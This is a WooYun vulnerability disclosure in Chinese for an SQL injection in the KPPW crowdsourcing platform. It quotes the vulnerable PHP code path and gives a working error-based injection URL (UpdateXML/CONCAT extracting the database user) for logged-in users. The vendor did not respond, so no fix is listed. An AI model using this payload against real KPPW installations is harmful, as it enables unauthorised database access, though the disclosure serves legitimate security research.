当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082389

漏洞标题:KPPW系统sql注入-2

相关厂商:kppw

漏洞作者: 路人甲

提交时间:2014-11-07 16:37

修复时间:2015-02-05 16:38

公开时间:2015-02-05 16:38

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

KPPW是客客团队主打的开源威客系统,同类开源建站产品的领跑者,搭建无物流电子商务在线服务交易平台的首选系统。2014年6月新版KPPW2.5发布了,新版借助客客团队近4年来威客行业的开源产品和商业项目的成熟经验,对前端功能进行了深入改进。KPPW从产品规划、UI设计、程序开发多个环节进行了优化,在未做框架重构情况下对程序进行更优秀的改进。

详细说明:

$_R and extract ( $_R, EXTR_SKIP );


首先是将所有的request参数都释放成变量,但不覆盖已经存在的
再看index.php中:

if(intval($u)){
if(!isset ( $_COOKIE ['prom'] )){
$objProm = keke_prom_class::get_instance ();
$objProm->create_prom_cookie ( $_SERVER ['QUERY_STRING'] );
}
}


$u 可以通过get请求传入,进入$objProm->create_prom_cookie ( $_SERVER ['QUERY_STRING'] );

function create_prom_cookie($query_string) {
global $uid, $username;
global $_lang;
$url_data = $this->url_data_format ( $query_string );
if ($uid) {
if ($url_data ['u'] != $uid && $url_data ['p']) {
if (! $this->get_prom_relation ( $uid, $url_data ['p'] )) {
$this->create_prom_relation ( $uid, $username, $url_data, 2 );
}
}
} else {
setcookie ( "prom", serialize ( $url_data ), time () + 24 * 3600, COOKIE_PATH, COOKIE_DOMAIN, NULL, TRUE );
}
}
public function url_data_format($query_string) {
$format_data = array ();
parse_str ( $query_string, $format_data );
$format_data ['p'] and $format_data ['p'] = $format_data ['p'] or $format_data ['p'] = 'reg';
return $format_data;
}


在这里 $url_data 由$_SERVER['QUERY_STRING'] 转换后得到。而$url_data['p']实际上就是get参数中的p,在这里需要普通用户登录下,进入到$this->get_prom_relation ( $uid, $url_data ['p'] )方法
最后再看get_prom_relation的方法:

public function get_prom_relation($uid, $prom_type) {
$sql = " select * from %switkey_prom_relation where uid='%d' and prom_type='%s'";
$p_relation = db_factory::get_one ( sprintf ( $sql, TABLEPRE, $uid, $prom_type ) );
if (! $p_relation) {
$p_relation or $p_relation = db_factory::get_one ( sprintf ( $sql, TABLEPRE, $uid, 'reg' ) );
$reg_event = $this->get_prom_event ( $uid, $uid, 'reg' );
$reg_event and $p_relation ['relation_status'] = 4;
}
if ($this->_prom_period && $p_relation) {
$valid_time = time () - $p_relation ['on_time'] - $this->_prom_period * 24 * 3600;
$valid_time > 0 and $this->set_relation_status ( $p_relation ['relation_id'], 3 );
}
return $p_relation;
}


这里直接将$prom_type带入到了数据库sql语句中执行,并没有做任何过滤。
poc: /KPPW_UTF/index.php?p=a%27%20and%20%28UpdateXML%281%2CCONCAT%280x5b%2Cuser%28%29%2C0x5d%29%2C1%29%29%23&u=1 (需要登录,报错法)

BaiduHi_2014-11-7_16-5-27.png

漏洞证明:

poc: /KPPW_UTF/index.php?p=a%27%20and%20%28UpdateXML%281%2CCONCAT%280x5b%2Cuser%28%29%2C0x5d%29%2C1%29%29%23&u=1 (需要登录,报错法)

BaiduHi_2014-11-7_16-5-27.png

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝